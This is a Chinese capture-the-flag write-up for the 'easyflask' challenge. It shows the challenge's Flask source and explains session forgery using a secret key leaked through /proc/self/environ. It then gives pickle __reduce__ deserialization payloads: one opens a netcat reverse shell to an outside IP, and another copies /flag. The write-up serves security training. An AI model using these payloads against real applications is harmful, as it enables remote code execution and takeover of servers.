buuctf--easyflask

根据提示访问/file?file=index.js,可以看到提示源码在/app/source

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

通过审计代码可以发现这个题的考点是session伪造+pickle反序列化
首先伪造session就需要secret_key,这里可以通过访问/proc/self/environ 获取环境变量

/proc是一种伪文件系统（也即虚拟文件系统），存储的是当前内核运行状态的一系列特殊文件，
用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息，甚至可以通过更改其中某些文件来改变内核的运行状态。
 
environ是 — 当前进程的环境变量列表，self可以替换成进程号。

glzjin22948575858jfjfjufirijidjitg3uiiuuh

这里利用Pickle中的__reduce__魔术方法

import pickle
from base64 import b64encode

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (eval, ("__import__('os').system('nc IP PORT -e /bin/sh')",))

})

class User(object):
    def __reduce__(self):
        import os
        cmd = "cat /flag > /tmp/test1"
        return (os.system, (cmd,))

u = pickle.dumps(User())
print(b64encode(u).decode())

session伪造

访问/admin即可

参考文章:

https://xz.aliyun.com/t/7436#toc-0   pickle反序列化初探

从零开始python反序列化攻击：pickle原理解析 & 不用reduce的RCE姿势 - 知乎

​​​​​​​[HFCTF 2021 Final]easyflask_Arnoldqqq的博客-CSDN博客